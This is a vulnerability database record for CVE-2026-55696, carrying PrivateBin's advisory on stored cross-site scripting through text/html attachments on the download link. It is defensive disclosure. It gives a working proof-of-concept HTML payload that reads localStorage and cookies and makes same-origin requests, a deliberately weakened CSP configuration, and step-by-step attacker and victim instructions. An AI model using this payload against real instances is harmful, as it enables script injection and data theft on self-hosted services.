{"id":"CVE-2026-55696","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55696","summary":"PrivateBin has stored Cross-Side-Scripting (XSS) vulnerability in attachment download link via dangerous MIME types with required user-interaction","details":"### Summary\n\nStored cross-site scripting (XSS) in PrivateBin's attachment download link. An anonymous attacker can create a paste with a **text/html** attachment that, with certain user interaction, bypasses protections similar to CVE-2022-24833. When a victim opens the \"Download attachment\" link in a new tab, the attacker's inline JavaScript executes in the PrivateBin instance's origin with full same-origin capability (cookie/localStorage access, same-origin fetch).\n\nThis is an incomplete fix of [CVE-2022-24833](https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-cqcc-mm6x-vmvw). The original fix only applies to the inline preview blob (in case of SVG), never to the download link's blob. Thus a **text/html** (or **image/svg**) attachment completely bypasses sanitization, re-enabling the exact attack class on instances that don't enforce the recommended Content-Security-Policy, but with a slightly different attack process.\n\nInstances using the default recommended CSP are protected (the blob inherits **script-src 'self'**, blocking inline scripts). The vulnerability affects instances where CSP is weakened, stripped, or absent, which is exactly the defense-in-depth scenario the CVE-2022-24833 fix was meant to cover.\n\nRequires **fileupload = true** (non-default) and a non-recommended CSP configuration.\n\n### Details\n\nIn **js/privatebin.js**, the function **AttachmentViewer.setAttachment** (line 2982) processes decrypted attachment data. Since PrivateBin uses zero-knowledge encryption, the entire decrypted message (including attachment content and MIME type) is attacker-controlled and can't be inspected or sanitized by the server.\n\n**Root cause 1: MIME-gated sanitization (line 3017)**\n\nDOMPurify sanitization only triggers when the MIME type matches **/^image\\/.\\*svg/i**. Any other active content type (such as **text/html**, **application/xhtml+xml**, **text/xml**) completely bypasses sanitization.\n\n```js\n// js/privatebin.js:3017-3023\nif (mimeType.match(/^image\\/.*svg/i)) {          // only SVG is considered\n    const sanitizedData = DOMPurify.sanitize(\n        decodedData,\n        purifySvgConfig\n    );\n    blobUrl = getBlobUrl(sanitizedData, mimeType); // reassigns LOCAL variable only\n}\n```\n\n**Root cause 2: download link always points to unsanitized blob (line 3002)**\n\nThe \"Download attachment\" link's **href** is set to the unsanitized blob URL at line 3002, before the SVG sanitization branch. The SVG branch (line 3022) only reassigns a local variable **blobUrl** that's consumed by the preview at line 3028. It never updates the download link. So even for SVG attachments, the download link carries unsanitized content.\n\n```js\n// js/privatebin.js:3001-3002\nlet blobUrl = getBlobUrl(decodedData, mimeType);   // unsanitized blob\nattachmentLink.attr('href', blobUrl);              // download link set HERE (never updated)\n```\n\n**Root cause 3: MIME type is fully attacker-controlled**\n\nThe MIME type is extracted from the decrypted data URI at line 3211-3217 via **getAttachmentMimeType**, which simply reads the substring between **data:** and **;** in the data URI. Since this value comes from the decrypted (attacker-created) payload, the attacker chooses whatever MIME type they want. The browser then creates a **Blob** with that exact **Content-Type** at line 2963-2967 via **getBlobUrl**.\n\n**Attack flow:**\n\n1. Attacker creates a paste with an attached **.html** file. The client encodes it as **data:text/html;base64,...** and encrypts it.\n2. Victim opens the paste URL. **decryptPaste** (line 5387-5397) decrypts the message and calls **setAttachment** with the attacker's data URI.\n3. **setAttachment** creates a same-origin **blob:http://instance/...** with **Content-Type: text/html** containing the attacker's HTML+script. This blob is assigned to the \"Download attachment\" link's **href** without any sanitization.\n4. Victim opens that link in a new tab (right-click, middle-click, or social-engineered left-click). The browser renders the blob as a full HTML document in the instance's origin, executing the attacker's inline JavaScript.\n\n**Relation to CVE-2022-24833:**\n\nThe [2022 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) claimed: *\"whether you open the SVG in a new tab or not and whether CSP is present and enabled or not does not matter any more, as the displayed SVG is sanitized.\"* This doesn't hold because:\n- The download link's blob is never sanitized (only the preview blob is).\n- The advisory's safety argument for the download link (\"opens from file:// protocol\") assumes the file is downloaded to disk. Opening the link in a new tab navigates to a same-origin **blob:** URL instead.\n\n### Proof of concept\n\n**Environment:**\n- PrivateBin commit **597a6f0d** (version 2.0.4+)\n- PHP 8.x with built-in server\n- Chromium-based browser (tested in Playwright/Chromium)\n\n**Step 1: Set up a vulnerable instance**\n\n```bash\ngit clone https://github.com/PrivateBin/PrivateBin.git\ncd PrivateBin\ngit checkout 597a6f0d\nmkdir -p data\n```\n\nCreate **cfg/conf.php** with file upload enabled and a weakened CSP (simulating an instance where the recommended CSP isn't enforced, as documented in the original CVE-2022-24833 advisory).\n\nFor example, here is a basic config:\n```ini\n[main]\nfileupload = true\ncspheader = \"default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; img-src * data: blob:; media-src * blob:; object-src * blob:\"\nhttpwarning = false\n\n[expire]\ndefault = \"1week\"\n\n[expire_options]\n5min = 300\n10min = 600\n1hour = 3600\n1day = 86400\n1week = 604800\n1month = 2592000\n1year = 31536000\nnever = 0\n\n[formatter_options]\nplaintext = \"Plain Text\"\nsyntaxhighlighting = \"Source Code\"\nmarkdown = \"Markdown\"\n\n[traffic]\nlimit = 0\n\n[purge]\nlimit = 300\nbatchsize = 10\n\n[model]\nclass = \"Filesystem\"\n\n[model_options]\ndir = \"data\"\n```\n\nStart the server:\n\n```bash\nphp -S 127.0.0.1:8099\n```\n\n**Step 2: Prepare the payload file**\n\nSave as **xss-attachment.html**:\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>benign</title></head>\n<body>\n<h1>just a harmless document</h1>\n<script>\n  document.title = 'XSS:' + document.domain;\n  document.body.style.background = '#c00';\n  document.body.style.color = '#fff';\n  document.body.innerHTML = '<h1>XSS EXECUTED<br>origin = ' + location.origin +\n\t\t\t'<br>protocol = ' + location.protocol +\n      '<br>cookies = ' + JSON.stringify(document.cookie) +\n      '<br>localStorage = ' + JSON.stringify(localStorage) + '</h1>';\n  // prove same-origin capability\n  fetch(location.origin + '/?jsonld=paste', { credentials: 'include' })\n    .then(r => r.text())\n    .then(t => document.body.innerHTML += '<pre>same-origin fetch returned ' + t.length + ' bytes</pre>');\n</script>\n</body>\n</html>\n```\n\n<img width=\"2217\" height=\"888\" alt=\"grafik\" src=\"https://github.com/user-attachments/assets/bf918b75-a977-4df5-8d3f-6e2ffe238c85\" />\n\nOptionally set some cookies and/or localstorage data in your browser console. (PrivateBin likely already has set at least a `lang` cookie.)\n\n**Step 3: Attacker creates the paste**\n\n1. Browse to **http://127.0.0.1:8099/**\n2. Type any text in the document area (e.g., \"Quarterly report attached. Open the Download attachment link to view it.\")\n3. Click **Attach a file** and select **xss-attachment.html**. The browser detects the file type as **text/html**, so the client produces **attachment = [\"data:text/html;base64,...\"]**.\n4. Click **Create**. Copy the resulting paste URL.\n\n**Step 4: Victim opens the paste**\n\n1. Open the paste URL in a browser. The paste decrypts and renders: \"Download attachment (xss-attachment.html, ...)\" with a **blob:** link.\n2. Right-click the \"Download attachment\" link and select **Open in new tab** (or middle-click).\n\n**Step 5: Observe XSS execution**\n\nThe new tab opens at **blob:http://127.0.0.1:8099/...** with:\n- Page title: **XSS:127.0.0.1** (set by attacker script)\n- Red background with `XSS EXECUTED, origin = http://127.0.0.1:8099, cookies = \"\", localstorage = ...` \n- A same-origin fetch to the backend that returns real data (proving full origin access)\n\n<img width=\"2208\" height=\"856\" alt=\"grafik\" src=\"https://github.com/user-attachments/assets/b13678ac-6fba-4cb9-a7b5-ad2f9a12adc0\" />\n\n**Negative control (default CSP):**\n\nChange **cspheader** in **cfg/conf.php** back to the recommended default:\n\n```ini\ncspheader = \"default-src 'none'; base-uri 'self'; form-action 'none'; manifest-src 'self'; connect-src * blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self'; font-src 'self'; frame-ancestors 'none'; frame-src blob:; img-src 'self' data: blob:; media-src blob:; object-src blob:; sandbox allow-same-origin allow-scripts allow-forms allow-modals allow-downloads\"\n```\n\nRestart the server and open the same paste. The blob navigation now inherits **script-src 'self'** from the page CSP, blocking inline script execution. The browser console shows: *\"Executing inline script violates the following Content Security Policy directive 'script-src 'self' 'wasm-unsafe-eval''\"*. The page title stays \"benign\" (script didn't run).\n\n### Impact\n\n**Who is impacted:**\nSelf-hosted PrivateBin instances that have **both**:\n1. File upload enabled (**fileupload = true**, default is **false**)\n2. A Content-Security-Policy that doesn't restrict inline scripts (the recommended CSP is weakened, stripped by a reverse proxy/CDN, or absent)\n\nThe [CVE-2022-24833 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) documented that such instances exist in the wild. Instances using PrivateBin's default recommended CSP are **not affected**.\n\n**What can an attacker do:**\n- Execute arbitrary JavaScript in the PrivateBin instance's web origin.\n- Read **localStorage** and potentially other locally stored data (IndexDB, etc.) for that origin. \n- Issue authenticated same-origin HTTP requests to the PrivateBin backend (which usually does not have any impact, as PrivateBin does not use traditional authentication methods) or any co-hosted application on the same domain.\n\n**What an attacker _cannot_ do:**\n- Exploit instances with the default recommended CSP (inline scripts are blocked in the blob).\n- Exploit instances that don't have file upload enabled.\n- Execute without victim interaction (the victim must open the attachment link in a new tab).\n- Cookie access could _not_ be confirmed (see screenshot above), as these seem to be [separated differently](https://developer.mozilla.org/en-US/docs/Web/Security/Defenses/Same-origin_policy#cross-origin_data_storage_access).\n- Access to the opener via **window.opener.document** (same origin) could not be confirmed. (The link is just not opened via `window.open` or similar)\n\nThat said, PrivateBin currently only stores user preferences (language, template, theme) in cookies or similar, so no authentication tokens or session data. Thus, similar to CVE-2022-24833, the practical risk exists for instances co-hosted with other applications.\n\n## Patches\n\nTo fix the problem, we took the following measures:\n* Except for a list of safe common mime types used for media (video/audio/PDF etc.) we overwrite the mime-type with `application/octet-stream` for the download link. This causes the browser to always download the file – even if the user triggered a „Open in new tab“ action – with the exception of the mentioned mime-types. This ensures HTML or any other potentially malicious file types (SVG, XML etc.) are never rendered, mitigating any XSS attacks.\n\n## Timeline\n\n* 2026-06-11 – Received report via GitHub Security Advisory by the reporter.\n* 2026-06-11 – Report gets reviewed and discussed with the initial reporter.\n* 2026-06-13 – Vulnerability gets reproduced and patch is being developed.\n* 2026-06-14 – Patch gets reviewed.\n* 2026-06-1X – Patch gets merged\n* 2026-06-1X – New PrivateBin release is published.\n* 2026-06-XX – Vulnerability details published.\n\n## Credits\n\nThis vulnerability was reported by Rizky Muhammad, @EvidentObscurity, which we'd like to thank for that.\nIn general, we'd like to thank everyone reporting issues and potential vulnerabilities to us.\n\nIf you think you have found a vulnerability or potential security risk, [we'd kindly ask you to follow our security policy](https://github.com/PrivateBin/PrivateBin/blob/master/SECURITY.md) and report it to us. We then assess the report and will take the actions we deem necessary to address it.","published":"2026-08-28T20:22:59Z","modified":"2026-08-28T20:30:11.670592203Z","cvss":{"score":4.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"privatebin/privatebin","fixedVersion":"2.0.5"}],"fix":{"url":"https://github.com/PrivateBin/PrivateBin/commit/e0dd4c025c19a182b6a4c6fb77a8bf81ceff6899","label":"PrivateBin/PrivateBin@e0dd4c0"},"references":[{"type":"WEB","url":"https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-f2xf-7x3g-4272"},{"type":"WEB","url":"https://github.com/PrivateBin/PrivateBin/commit/e0dd4c025c19a182b6a4c6fb77a8bf81ceff6899"},{"type":"PACKAGE","url":"https://github.com/PrivateBin/PrivateBin"},{"type":"WEB","url":"https://github.com/PrivateBin/PrivateBin/releases/tag/2.0.5"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-28T20:30:11.670592203Z"}}